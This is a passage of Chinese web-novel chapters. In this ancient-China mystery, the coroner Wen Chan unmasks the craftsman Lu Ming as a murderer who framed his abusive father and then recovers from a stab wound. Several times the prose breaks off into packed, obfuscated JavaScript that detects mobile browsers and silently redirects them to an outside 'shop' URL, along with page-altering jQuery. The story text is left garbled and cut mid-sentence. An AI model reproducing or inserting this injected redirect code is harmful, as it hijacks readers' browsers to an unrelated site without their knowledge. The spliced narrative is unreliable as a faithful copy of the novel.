郑观澜完全没有感觉到,只是惊讶于对方的敏锐。 闻蝉继续说道:“这密室只有这一个出入口,我们必须出去。而且,我推测,那人藏身之处应该就在其他房间,只有正房是他的障眼法。不过在此之前……”闻蝉掏出一个布袋子,把架子上的木盒一扫而空。 布袋子被装得鼓鼓囊囊的,看着不轻。 “这些都算证物?带着会不会太累赘了?” “万一这些东西上也有线索呢?”闻蝉把布袋挂在腰间,朝着外面走去,“我们动作要快点。凶手跑掉就糟糕了。” 密道口,机关人还堵在那里。 这一次有了经验的二人很快就找到了应对方法。 闻蝉抢在准备撒金豆子的郑观澜之前,用特意捡来小石头堵住了木头人身下的轨道。 趁着木头人被卡住,郑观澜举起剑对准机关人的心口处就是一刺一搅,直捣内部机关。 运作的机关一坏掉,机关人直接散落一地。 闻蝉踢开一截木头,跳了过去。 “啧,这胳膊是胳膊,腿是腿的,像被分尸了一样。” 郑观澜被她说得有些心里发毛,看着一堆木头块都有些不自在。 “先出去。” 闻蝉也怕这屋内还有什么古怪,没再开玩笑。 “这破门用了机关锁住,我想只能暴力破坏了。” 某人手掀机关人的行为让郑观澜的行事风格也被带跑偏了。 他没有丝毫犹豫和异议,干脆利落地将剑插回剑鞘之中。 “那就撞开。” 二人齐齐发力,对准中间的门缝使劲一撞。 只一下,门就被撞得咔嚓响了一声,门扇松动,轻轻张开一个口子。 “撞开了?!”闻蝉没想到这么简单,欣喜推开门,“我娘说的果然没错,多吃饭壮实点不吃亏。” 郑观澜本想嘲讽几句,可是一想到刚刚要不是她把机关人掀翻…… 好吧,确实有那么一分道理。 二人终于从正房逃出,此时,天已经蒙蒙亮。 看着两面的房间,闻蝉有一种冲动。 “太烦了,干脆一把火烧了?” “你是在说笑吧?” 闻蝉哼气。 “抓到就揍一顿,给我找了这么多麻烦!”她拽拽袖子,上面的破洞被扯成椭圆形,“衣裳也破了。” “我们分开行动?” “你怎么老爱作死啊?这种情况下分开行动,是生怕敌人没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻蝉也急忙跟上,想要助他一臂之力。 一声挥剑风声之后,屋内一片寂静。 闻蝉进去的时候,郑观澜已经得手,正把剑架在一个坐着轮椅的老人脖子上。 老人看上去十分沧桑,须发皆白,头上的簪子都是斜斜耷拉在脑袋上,穿着也很朴素,是普通的灰色棉布衣裳,只那一双圆眼睁得大大的,怒视着他们。 “贼人!还不快放开老夫!” 闻蝉直接走过去。 “老头儿,那正房内的密室是不是你的地方?” 老头爽快承认:“是又如何!你们简直大胆!” “你虽然住得偏,但是也在山庄里,应当知晓前几日舞女被杀的事情吧?” 老头面色微变:“不就是几个舞女被杀了吗,谁不知道?” “捆绑舞女的细索和下毒的夹竹桃花瓣,都在你的密室内找到了。还有……戏台下的机关旁那些长条状印记。”闻蝉的手撑在对方轮椅的扶手上,“不就是你这轮椅留下的吗?” “你也知道我坐的轮椅?!我坐的轮椅怎么去杀人?!怎么把人吊起来?!”老头骂得唾沫横飞,气都喘不上来,还是粗着脖子嘶吼道,“昏官!昏官!” 郑观澜被说动,提醒道:“我们方才来的时候……” 是追踪着脚印来的啊。 闻蝉也发现了这一点矛盾的地方。 既然老头是个不能行走的人,即使再精通机关之术,又如何将人绑好吊起?从岩石洞到此处的脚印又是什么? “先带回去。” 15. 异姓父子 老头是被闻蝉推回去的。 路上颠簸,她被震得双手发麻,不禁抱怨道:“我哪里是来捉犯人的?简直就是来做苦工伺候祖宗的。” 一到地方,她就把轮椅向前使劲儿一送,让老头体验了一把快飞起的感觉,激动得直叫唤。 “杀人啊!你这是要杀人啊!” 闻蝉龇牙,凶神恶煞的:“再叫就真把你杀了。” “你和他置什么气。”郑观澜指向成生,“把人推进去。” 那轮椅很沉,也得亏成生壮胖,一把就将老头连人带椅扛起来,踏上三级台阶,放在屋里。 老头被举得极高,吓得一下闭了嘴,紧紧扒着轮椅。 闻蝉踏步进去,一把掀起他的衣角。 “你不能走路的时间有多久了?” 老头连忙把衣角理好。 “你一个女娃娃知羞不知羞?!掀男人衣服!” 闻蝉一脸嫌弃:“我还看得上你这个老菜帮子?”她指了指门口的郑观澜,“要非礼也是非礼那样的,你没镜子总有尿吧?都不照照自己吗?叫你爷爷都怕把你叫小了。” 郑观澜表情扭曲:什么非礼不非礼的!真不知羞! “回!话!”闻蝉踢了一下轮椅。 对待闻蝉这种人,老头的羞辱完全没用,甚至……对方比他更能骂。 他老实了。 “四五年了吧。” “叫什么名字。” “刘江。” “今年多大了?” “六十三。” “你是这山庄的仆人?” “是。” 闻蝉抬了抬下巴:“自己把裤腿挽起来。” 老头有些意外,但是慑于对方身上的狠劲儿,他还是乖乖把裤腿挽了起来。 裤腿下是两条粗壮的小腿,上面布满了密密麻麻的灰褐色旧伤。 闻蝉只看了一眼。 “看不出来啊,你还是个神医呢,华佗在世,扁鹊投胎哦。” 老头被说得面红耳赤。 “你这是何意?!” “你都瘫了五年了,两条腿不仅没有一点点萎缩的迹象,还如此健壮,你觉得这可信吗?!”闻蝉指着他的腿,猛地提高了音量,“你明明就能走路!” 刘江僵了一下,眼神的光一点点黯淡了下来。 “我不知道你说这些是什么意思。” 闻蝉沉默了片刻。 “前几日,有人在山庄内行凶,先后杀死六名舞女和两名戏班的人还有三名仆人,我们抓到了一个帮凶。昨晚,帮凶在主犯的帮助下逃窜,于后山岩石洞被杀。” 刘江双手拢在袖子里。 “那又如何?” “我们在岩石洞追踪到主犯的脚印,就到了你所在的地方。”闻蝉眼神向下一瞥,“脚印大小和你的脚也差不多。刘江,再加上我们在密室里搜到的毒药等物证……铁证如山,你,还想抵赖?” 刘江终于点了一下头。 “是我。” “你杀人的动机是什么?” 刘江双手在腿上磨蹭了几下。 “她们瞧不起我,时常辱骂我,我就杀了。” “辱骂你?辱骂你什么?” “能什么啊,就是废人什么的。” 闻蝉笑了一下。 “行。交代你作案的过程。” “那晚,我给那几名舞女下了软筋散和夹竹桃,在她们昏迷后,用机关将她们连夜运到了戏台中,又用细索将她们绑好吊起后就回了家。至于那两名戏子,是我和那个狗东西做了交易,让他做的,我先仿照那剑的模样做了一把一模一样的开刃剑,交给了他,让他自己找机会把剑换了。他具体怎么下的手我就不清楚了。” “还有呢?” “没有了。” 闻蝉坐在他对面,翘起腿。 “昨儿老虎还吃了几个人呐,这案子和你没关系?” “老虎吃人?” “不是吗?那三名负责辅助围猎的仆人呀。难道他们身上的痕迹真是老虎咬的?” “没想到你连这个都看出来了。”刘江埋下头,“是,是我,用机关干的。” 闻蝉话已经问完,站起身,走到他面前,俯身说道:“刘江,我是大理寺的仵作,姓闻,叫闻蝉,此次来山庄是受徐寺卿之命调查命案。你,知道吗?” 刘江的声音闷闷的,语气却是轻飘飘的,毫不在意的模样。 “我知道。” “闻仵作!” 林斯忽然带着魏有风出现在门口。 “我听说……”他顿住脚步,惊讶地看着刘江,“老刘头儿?!你怎么在这里?” 刘江抬起头,看了他一眼,别过头,不言不语。 闻蝉挡住他的视线,抬手指了指外面。 “外面说话。” 林斯有些莫名,但还是乖乖跟了出去。 到院子里站定,成生就进了屋内看管刘江,顺道把门也关上了。 林斯看了看那关上的门,完全糊涂了。 “这是……咋回事啊?我听人说那采花贼抓到了又跑了?怎么老刘头又……” “先不说采花贼的事,你认识刘江?” “认识啊!他是山庄的老人了,我打小就认识他。” “也就是说,他一直住在山庄里?” “是啊!怎么了?” “没什么……”闻蝉微微皱起眉,像是在思考什么。 “刘江在裴家世代为仆,说来,他儿子你肯定认识。” “他……儿子?”一个名字骤然出现在闻蝉的脑海中,“是鲁铭?!” “是啊,鲁铭就是他儿子。” “不对吧?这鲁铭不是姓鲁吗?而且,他不是鲁班后人吗?刘江是个仆人啊?” “嗐,都是裴籍为了抬高自己编出来的嘛!他就想让别人以为他的宾客是鲁班后人,听上去才有面子,他们这些……” “咳咳!”魏有风忽的用力咳嗽了两声,悄悄扯了扯她的袖子。 林斯这才停下话头。 都忘记郑观澜还在了! 他话头一转。 “纨绔子弟都是这样的。” “难怪,刘江还能过得这般好,独门独院住着。” “鲁大师受裴籍重视,才能有点小权力照顾自己爹。”林斯有些感叹,“这人啊,也算是个滥好人了。” “孝顺自己父亲不是应当之事吗?怎么就是滥好人了?” “可不是每个人的爹都像是你我的爹那么好。那个刘江啊,脾气最古怪不过,经常打骂折磨鲁大师。鲁大师小时候很可怜的。” 向来少言的魏有风也说道:“我记得有年我们到山庄来,寒冬腊月的,鲁大师还被罚跪,裤腿上都是血,连地上的雪都被染红了,其他人说就是老刘头打的。” “好歹是亲生的,也真下得去手。”林斯摇头,“就是我小时候学本事,我爹都没对我下过这样的狠手。” 魏有风似有所感:“闻仵作,你抓他……是因为他做下了命案吗?” 闻蝉点头。 林斯惊讶了一瞬:“这个老刘头……竟然是他!” 闻蝉摆摆手,不愿意多谈。 “如今,案子已经解决了,还是要先给裴庄主他们一个交代。”闻蝉拱拱手,“劳烦你跑一趟,让管事把所有人都叫去前院,我好当面向众人说明此案。” “行!” 戏台之下,众人如同最开始的时候,按照自己的位置坐在下面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779665|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >天上又飘下星星点点的雪花。 闻蝉还是穿着一身黑衣,挟带风雪,疾步而来。 只是这一次,她的身后跟着被捆住双手的刘江。 宝应拽了拽郑观澜的袖子,一脸兴奋。 “真的是太俊了!对不对?表哥!” 郑观澜像是被吓了一跳,身躯微微抖动了一下。 “你用这个词形容女子?先生平日里都是这样教你读书的吗?” “那就英姿飒爽吧。”宝应嘟囔着,“狭隘,俊就是俊嘛,非得用男子身上了?” 而另外一边,鲁铭被突然出现的父亲惊到直接站了起来。 “爹?”他忍不住上前,“闻仵作,我爹这是……” 他的表情十分复杂,既震惊又迷茫。 刘江却冷漠得紧,站在原处,低着头,至始至终没有看他一眼。 这样明显的动作,让其余人都不由看了过来。 裴籍见状,只觉得脸颊发烧,十分不满,面色一沉。 管事最会察言观色,又一直关注着他,急忙上前拉住鲁铭:“鲁大师,还不快坐回去?你这样多失礼啊!” 他言语中带着淡淡的警告。 鲁铭心急如焚,进退两难,不知如何是好,又看了好几眼刘江才硬生生坐了回去。 可是方才那一声清清楚楚的“爹”让坐在近处的人都听得分明。 一群人窃窃私语了起来。 “不是说鲁大师是鲁班后人吗?这个老头……是他爹?” “或许这个老头也是鲁班后人,他们这个行当穿得破旧些也不奇怪。” “匠户本就低贱,穿得破旧是不奇怪,可是,他现在这个模样更像是被大理寺当犯人捉了吧?” 裴籍清了清嗓子,率先开口问道:“闻仵作说是捉到了犯人,所以才让我们前来。这个刘江就是犯人吗?” “刘江已经招供,是他犯下的命案。”闻蝉从随身布袋中取出一个罐子和木盒,“这是我在刘江住所内搜到的下毒所用的毒药和捆绑婢女所用的细索。” “那就是人证物证俱在了!”裴籍一脸气氛,砸桌斥责道,“裴家养你多年,你竟做下这样的恶事!还差点破坏了龙门大宴,实在是居心恶毒!平日里我教导你们要心存善念多行善事的话都被你抛在了脑后了吗?” 李成芳劝慰道:“你莫要动气,这养儿子都有养歪了的,更何况是仆人。所幸这次有闻仵作在,没让这个恶仆逃脱,也算是能告慰点蕊娘子他们的在天之灵了。” 见自己父亲完全被认定成凶手,鲁铭哪里坐得住。 可是管事却死死拉住他。 “别惹郎君生气!”他急得头上都在冒汗,“大理寺办案不会有错,你何必再包庇他!他对你那般绝情,你犯得着为他搭上自己前程吗!” 鲁铭直起的脊背一点点弯了下去。 管事长舒一口气,这才撒开手。 另外一边,文安郡公也开了口。 “前晚,我家夫人遭贼人袭击,也多亏了闻仵作出手相救。”他站起身,郑重行了一礼,“日后若有何事,闻仵作可来寻我。” 文安郡公身份非同一般,是皇帝已经去世的长兄留下的独子,可他浑身都是清和之气,言语也极温柔有礼,闻蝉自然他没有厌恶。 “郡公言重,本就是我们捉贼才扰了夫人。不知夫人和杜若可还好?” “我让大夫给杜若瞧过了,都是皮外伤,有劳你关心。夫人那日回来后一直念着你,你若有空也可以来陪她说说话。” 李成芳插嘴道:“竟还有此事?!” 文安郡公微微点头,眉头微蹙。 他不喜李成芳之流,一句话都不想和这种人多说。 “裴郎君,下山的路可修好了?” 16. 息事宁人 裴籍答道:“快了快了,最迟今日正午应当就能下山了。” 众人皆长出一口气,轻松不少。 “动作倒是很快。”柳中庭头一次开口。 “对面大理寺叫来的人也在帮忙嘛,不然还得好几日呢。”裴籍拉着柳中庭,一脸歉意,“这次实在是对不住你们,本是好意,竟然出了这么多事,让我实在是羞愧!” “恶仆作怪,关裴兄何事?”李成芳笑嘻嘻的,“今儿是个好日子,犯人捉到了,这路也通了,今年龙门宴还算是圆满结束。” 柳中庭点头:“名单我已经备好,只等下山后就为他们脱籍。” 说到此处,数十名舞女乐师还有几个仆人上前齐齐跪拜行礼。 “多谢庄主,多谢柳郎中。” 语气里的欣喜怎么都遮不住,就连旁边池塘中的锦鲤都像是被他们感染了似的,扭着身子跃出了水面。 柳中庭微微一笑,缓缓道:“脱籍之后,你们也要自食其力,好好过日子,不要做闲子游手,这才对得起裴庄主对你们的恩情。” 众人再拜,这才回到原来的位置站好。 戏台下,闻蝉和刘江依然站在原地。 李成芳说道:“裴兄,这个凶犯到底是你的人,你可有什么章程?” 裴籍没有犹豫。 “他犯了国法,自然该由大理寺处置。你说是吧,闻仵作?” 闻蝉拱了拱手:“大理寺会依律处置,请裴庄主放心。” 裴籍见她变得如此识趣,心里很是高兴,将之前那一点不愉快抛之脑后。 “这次也是有劳闻仵作前后奔忙。”他豪气万丈摆摆手,“来人,看赏!” 他身边的仆从立即捧着一个盖着布的盘子走上前,双手奉向闻蝉。 “闻仵作,请领赏吧。” 闻蝉没有多看一眼。 “捉拿凶犯本就是大理寺应尽之责,在下虽是个小小的胥吏,但也是食君之禄,忠君之事。即使差事办得好,拿的也该是陛下和朝廷的赏赐。裴庄主厚礼,在下不敢收。” 这番话说的是好听,可到底是驳了裴籍的面子。 他感到难堪,心中暗骂:这些穷酸鬼简直都是茅厕里的石头,又臭又硬! 李成芳解围:“阿蝉是公门中人,私下收礼说出去还真不好听。裴兄,你是一番好心,可是得避嫌啊。” 他都开了口,裴籍只得就坡下驴。 “是我考虑不周了。那就请闻仵作在山庄好好休息,就当是我谢过你一番辛苦。管事,你去安排安排。” 闻蝉说道:“也不必了。” “阿蝉!”李成芳失声叫道,“你太过客气反而失礼,还不快谢过裴庄主。” “不是客气,只是……” 众人屏息。 都想不通这人为何要三番五次驳了裴籍的面子。 “裴庄主如此真诚,我也不能敷衍了事,等我把凶案实情说完,才有脸面领受裴庄主的恩赏。” “不是说完了吗?”李成芳懵了一下。 “为了在戏班杀人,凶手与采花贼齐放也就是戏班的王泰合谋。王泰在昨晚被捉后,凶手为避免暴露,救出了王泰,将其带到后山山洞,用银针刺入其心,致使其死亡。在杀王泰的时候,凶手留下了足迹,我们跟着足迹才找到了刘江的住处,搜查到了毒药等物证。但是,那足迹却是做了假的。现场留下的足迹,边缘模糊中心清晰,明显是有人特意穿了比自己脚还大的鞋留下的。由此可见,刘江是被人诬陷。” 裴籍不解:“脚印什么的我不懂,但是那些物证呢?毒药和细索又是怎么回事?” “点蕊等人除去中了夹竹桃之毒意外还服下了软筋散,现场并没有搜到软筋散。” 郑观澜说道:“今日刘江招供有提到过软筋散,或许只是软筋散被他都用掉了。” “这就是另外一回事了。”闻蝉打了个手势,朝着前方朗声道,“王泰,你来说,凶手是谁。” 在座好几个人都站了起来。 那个采花贼不是说被凶手杀死了吗! 王泰被成生押着走了过来。 他扫视一眼所有人,目光锁定了其中一人。 “闻仵作早就料到那人会杀我灭口,给了我一个护心镜防身,才让我躲过一劫。” “指使我替换剑的人就是……” 他抬起手,指向人群之中。 “是你,鲁铭!” 下头响起一片惊呼声,齐齐看向了鲁铭。 鲁铭坐在原地,睁大了眼,一脸无辜。 “你是何人,我都不认识你,为何要诬陷我?!” “我跟随戏班进入山庄后,被鲁铭识破身份,他借此威胁我,逼我为他办事。” 裴籍看向鲁铭。 “他说的是不是真的?!” 鲁铭跪倒深深一拜。 “庄主信我,我从来没有杀过人,这……这应该……” 裴籍问道:“可是刘江故意勾结贼人害你?” 鲁铭抬起头,已经是泪流满面,和方才淡定的样子截然不同,还不停摇着头:“我不知……不知道……” 裴籍叹了口气,对着闻蝉解释。 “闻仵作,你有所不知。这个刘江向来妒忌他在机关术上天分超群,对其一直很不好。鲁铭从小都被其虐待。这也怪我,我原本想着鲁大师生父早逝,刘江又没有儿子,就想着交给他带着,他会对待孩子好。没想到……他竟然如此丧心病狂。” 鲁铭埋头小声抽泣着,哀哀的哭声像是应和着他的话。 “裴庄主,你觉得点蕊等人会吃下不相熟的刘江给的水和食物吗?反倒是鲁铭,时常和她们一起排演舞蹈,关系相熟。更何况……鲁铭还撒过一个谎。他自己曾经说,在点蕊死亡当日的中午,点蕊去他房间里吃过茶和点心。” 鲁铭反驳:“我没有说谎,那个小厮也看见了。” “只有死人不会说谎!”闻蝉厉声道,“我剖开了点蕊的胃,其中根本没有茶和点心!你还敢狡辩!” 鲁铭愣了一下,旋即很快说道:“她那日戴了跳舞的面纱,我没太注意,或许是有人假扮?” 王泰大声反驳:“你大爷的,明明就是你让老子扮的女人去你屋里!” 鲁铭胸口一起一伏,眼中逐渐冒出凶光。 “你不过是个低劣的采花贼,你的话足以信吗?!谁知你是不是为了脱罪故意诬陷我?” 王泰大笑一声:“你装什么样啊?你就是刘江这个奴才生的奴才,裴籍给你捏个身份,你还真以为你是鲁班后人了?还编出个墨家后人和你斗法?真能扯淡。老子是贼人,你也就是个奴才,谁比谁高贵啊?” 被当场戳穿身份,鲁铭终于沉不住气了,他的眼神露出一丝凶光。 “你竟敢骗我!”裴籍突然大喊一声,猛地拍向桌面站起身,“是你们父子串通起来骗我?我就说我怎么一出门捡个孩子竟然是鲁班后人?!” 闻蝉翻了个白眼。 都这个时候了,还想把自己摘出去? 鲁铭看着他,突然磕了几个头:“庄主饶命!是……我当时还小,一切都是我爹指使我做的!” “那命案也是你?”裴籍捂着心口,脸都发青了,像是气得不轻。 鲁铭点了一下头:“是我。” “你为何要……要如此……” 鲁铭摇头:“我也不知道,就像是着了魔一般。” 他捂住脑袋,像是十分痛苦一般扭动着身体。 “我不想杀人的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻蝉定定看着鲁铭,用只有二人能听到的音量说道:“如果不是我,你的计划根本不会有人发现,刘江会成为替罪羊,而你也能借此成为裴籍的心腹,脱去贱籍。可是,现在这一切都不可能了,你永远都会是那个生死都由不得自己的贱民,永远,永远……” 鲁铭的眼神一下变得疯狂起来,握着匕首的手搅动了几下。 额头上因为疼痛滴下黄豆大的汗珠,浑身都发麻了,闻蝉却在笑。 她大喊一声。 “鲁铭刺杀大理寺官差!” 宝应扑了过来,使劲捶打着鲁铭。 “快放手!” “你真是个疯子!”郑观澜一把将鲁铭扯开,冲着闻蝉吼道,“非要用这种法子!” 闻蝉眼前已经有些模糊,她死死抓住郑观澜的领口。 “快!抓人!” 腿上的血像是泉眼一样往外涌,郑观澜手都在发抖。 “听你的听你的,你别激动,血一直在流!成生!把这个鲁铭拿下!” 宝应也在一边哭:“你先别说话,血会流得更快!” “郑郎君!”裴籍大喊,“你要插手吗?!” 郑观澜一手扶住闻蝉,缓缓转过头,“裴庄主,闻蝉是大理寺的人,她被伤成这样,你还要包庇刺杀官差的犯人吗?” 李成芳也跑到了郑观澜这边,又不敢伸手,看着闻蝉急得手足无措。 “别说这些了,赶快叫大夫叫大夫啊!” 柳中庭从背后冒出,小声提醒道:“裴庄主,大理寺的人就在山下。不过一个仆人,左右都是死,你何必和大理寺与护国公过不去?” 裴籍看了一眼跌坐在地的鲁铭,惋惜叹气。 “去去去,找大夫。” 17. 他乡遇故 闻蝉醒来的时候,伤口刚刚被包扎好。 一个五十多岁的老头正在她眼前收拾着药箱子。 是大夫。 大夫听见了动静,转过头:“哟?醒了?” 闻蝉定定看了大夫许久,微微点头。 “你这小娘子也太莽撞了吧?得亏你运气好才没伤着要害,这大腿是能随便下手的地方吗?”大夫絮絮叨叨着,言语琐碎,却满是善意。 闻蝉低下头,看着自己左腿上拱起的纱布包。 “麻烦您了。” “你这伤啊,虽然连肉都差点剜下来,但伤的都只是皮肉,没有伤到筋脉,不会影响你行走。只是……”大夫声音小了点,“会留疤,这个我没法子。” “我知道的。” “还疼吗?” “隐隐约约有一点,您是给我用了麻沸散吗?” 大夫笑了一下:“麻沸散早就失传了,我哪里会有这样的好东西?一点点迷药罢了。不过……这迷药对你作用这么不大啊?我方才下的剂量不小,你醒得还挺快。” “我也不知。” 大夫看她面色还不错:“可能是你底子好吧。”他把药箱一关,朝着外面喊道,“管事,进来吧,都包扎好了。” 门从外面被缓缓推开。 郑观澜率先走了进来,管事在其后跟随,一双眼睛却悄悄拐着弯打量着闻蝉。 “宝应回去了吧?”闻蝉知道,宝应肯定是被吓惨了。 “我让她回去帮你看管鲁铭,她才离开。”郑观澜顿了顿,“你……还好吧?” “皮肉伤。” 郑观澜想要追问案子的几处异常,但见她如此,实在是不好再开口。 管事见二人终于说完话,连忙关切道:“闻娘子,我给你弄些吃食来?” 闻蝉摆摆手:“我也没胃口,就不麻烦您了。”她忽然问道,“这位大夫也是我们汉中老乡吗?” 管事拊掌:“是呢!不知道你还记不记得,原先的小石街,就是歌舞坊后面那条街,有个丁家医馆……” “丁沱大夫?”闻蝉露出一个笑,“我记得。丁大夫医治跌打损伤和金创外伤最是厉害。” “这就是丁大夫。”管事拍了拍丁沱的肩膀,“我前段时间才碰见他的,他当时在大街上行医,瞧着和原来可不太一样,若非我眼睛毒,还差点没认出来。” 闻蝉的眼神在丁沱的脸上来回打量,其实,他变化不算大,当然,也可能只是在她的眼里。 毕竟,她这辈子都不会忘记丁沱的模样! 她含着笑:“是吗?还真是有缘分,我方才听丁大夫说话就带了些乡音。” 人都讲家乡情谊,丁沱十几年没有归乡,此时一听闻蝉也是老乡,不免感怀。 “乡音未改鬓毛衰……可惜这辈子我是回不去了。” 这话说得实在是伤感,管事宽慰道:“京城不好吗?你可别一天到晚想那么多了,你才多少岁?等过几年赚够了钱,衣锦还乡呢。” 丁沱摇了摇头,对着闻蝉问道:“小娘子说话倒是没有乡音,是很小的时候就来了京城吗?” 闻蝉笑着说道:“来了十五年了,十岁的时候,我爹娘都死了,是嫁到京城的姑母接我来的京城。” 丁沱没想到会问到对方的伤心之处,干笑一声。 “难怪你没什么口音。” “说来,丁大夫应该还认识我爹。” “嗯?你爹?”丁沱这才仔仔细细看着闻蝉的脸,“你爹是……” “我爹是当时县衙里的仵作,姓闻,叫闻立德。”闻蝉满脸都是笑,笑意却不达眼底,“去世前,他还在您的医馆治过伤呢。” “你是闻立德的女儿?!” 门内门外,两道声音同时响起。 一个是面色发白的丁沱,而另外一个,闻蝉转头看去。 是文安郡公的那位侧室。 周夫人,周福云。 “你真的是闻立德的女儿?!”周福云一脸不可置信,脚步都有些蹒跚。 闻蝉点头:“夫人认识我父亲?” 周福云张了张嘴,眼皮颤动了几下,最终归于平静。 “啊,有过几面之缘,你父亲帮过我的忙。” 闻蝉知道自己的爹是个热心肠,也没有太意外,更何况……二人若是有什么交际,定然是周夫人还在做舞女的时候,这还是得避讳了。 “是吗?那还真是有缘分,这一屋子都是老乡呢。”她转过头,对着丁沱挑了挑眉,“是吧?丁大夫?” 丁沱垂下头,掩饰着自己的表情。 “是啊……是啊……” 周夫人理了理鬓角,让婢女放下一个盒子。 “方才,我听夫君说你被人刺伤,就想着来看看你,这是我平日吃的阿胶,你回去后拿着用,每日煮些当零嘴吃,益气补血最好不过。” 闻蝉是个大方性子:“夫人盛情,却之不恭,我就先谢过夫人了。” 周夫人看着她,笑意越发深,眼睛也有些红。 “你……我……我总觉得我们有缘极了,等回了京,你有空就来我家中坐坐。杜若也一直念着你,说是还没正式谢过你呢。”她忍不住抚了抚闻蝉的肩头,动作温柔又小心翼翼。 闻蝉有些想不通。 这位周夫人……似乎对她太热情了些? “夫人不嫌弃就好。” 周福云点点头:“那你好好休息,我先回去了。” 闻蝉准备起身行礼,却被她轻轻按住。 “你伤着呢,就别多礼了。” “夫人慢走。” 周福云缓步走出门,又回头看了闻蝉一眼才离开。 郑观澜也开口道:“既然没事,那我就先回去了,宝应还等着消息。” “嗯,劳烦你给宝应说一声,我没有大碍。” 郑观澜颔首,向外走去:“人先放在我那儿,等大理寺的人来了……” 忽然,一个高大的黑影冲了进来,正好和郑观澜迎面相撞。 那人极霸道,不仅没停一下,还一把将郑观澜推开。 黑影在闻蝉面前停下。 那是个俊朗的青年,一双浓眉斜飞入鬓,带着一股说不出来的邪气。 “姑奶奶!您老人家这是闹那一出啊!怎么把自己弄成这个断胳膊断腿的模样了!” “瞎了你的狗眼,只有腿受伤好吧?你咒谁呢!”闻蝉毫不客气,一巴掌招呼到那人胳膊上。 二人语气十分亲近,一看就是相熟之人。 而另外一边被推得差点摔倒的郑观澜自然是十分愤怒。 和这蛮女人认识的都是野蛮人吗! 他一步踏在二人之间,斜睨了那人一眼。 “这位是?” 闻蝉介绍道:“我们大理寺的捕头,卓啸。” 卓啸自然感受到了那满是敌意的目光,昂起头:“这位又是?” “郑家六郎,郑观澜。” “哟~是郑寺卿的那位长子啊!”卓啸拱拱手,笑得十分灿烂,“见过郑郎君。平日里郑寺卿身边都跟着你家阿弟,我还是头一次见您呢,没想到您如此一表人才。郑寺卿也真是,这么俊个大儿子,怎么都藏在家里不带出来让我们这些人见识见识!” 郑观澜脸已经黑透了。 “卓郎君好口才,只做个捕头真是浪费了。” “多谢您夸奖。”卓啸龇牙一笑,露出一口大白牙。 郑观澜恨不得打碎他的牙。 “日后走路还是要当心。”他忍住气,生生挤出一个笑,“冲撞了惹不起的贵人,就是掉脑袋的事了。人,得知道自己有资格走哪条路。” 卓啸拍了拍脖子,展示着他结实的脖子:“谢您提醒。” 郑观澜没见过这么没脸没皮的人,一甩袖子,气冲冲走了。 见大理寺的人来了,就知道路已经打通了,管事自然得先去裴籍那里候着安排事宜。 丁沱也没有多说,埋头跟着管事走了出去。 屋内只剩下二人。 “你惹他干嘛?”闻蝉看出来了,她这位同僚方才完全是在针对郑观澜。 卓啸提脚勾起一个凳子,坐在她身边。 “眼高于顶,看着就烦。” “嗐,这些人不都这样吗?”闻蝉劝道,“到底是郑家人,你还是客气点,惹不起的。” “他怎么在这儿?” 闻蝉也一直觉着奇怪。 这个郑观澜为何一直跟着她调查?只是这话和这个一根筋说不清楚。 “他不是宝应的表哥吗?宝应让他给我帮忙的。” “哦,那个王子仪抓了没?” “甭提了。”闻蝉说到这事儿就烦,“没拿到实证,只抓到那个采花贼。” 卓啸表情正经了些。 “那这就麻烦了,王家势大,光凭一个采花贼的证词还真没法把他怎么样。再说说你这伤,你怎么搞成这样的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779667|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻蝉简单讲了讲。 “山庄出了连环凶案。凶手是裴籍的一个仆人,裴籍以被杀者也是仆人为由想要包庇凶手。”她耸耸肩,“我能有什么其他法子,就只能给凶手扣了个刺杀官差的帽子。” 卓啸啐了一口:“这畜牲!可你这下手也太狠了,一不注意得伤着筋脉,也不怕成瘸子。” “我是仵作,哪里是要害我比谁都清楚啊。”闻蝉无所谓向后一躺,“后山的尸骨我也查证了,等会儿你让人去挖出带走。” “那凶手是谁?” “有些眉目。”闻蝉推了他一下,“赶快去办事儿,我要睡会,累死了!一天天的,我和拉磨的驴有啥区别!” 卓啸正色:“拉磨的驴都有歇的时候,我们可没有。你还有卷宗没写。” 闻蝉嚎了一声:“啊——你给我闭嘴——” *** 郑观澜揣着一肚子气回了自己住的院子。 宝应可没注意他有没有在生气,反正自己表哥从小到大都是拉着个脸。 “闻姐姐怎么样了?” “你倒是关心她。她皮糙肉厚,能有什么事?都是皮肉伤,能蹦能跳。” 宝应抚着心口:“那我就放心了。” “你日后少和她打交道。” 宝应别过头,回答得干脆利落:“不听。” 郑观澜叹气好言劝道:“闻蝉身上藏了不少事,你和她接触太多,不好。” “谁没有秘密呢?”宝应歪了歪脑袋,“我不是傻子,谁好谁坏我分得清。闻姐姐是个好人,对我也很好。” 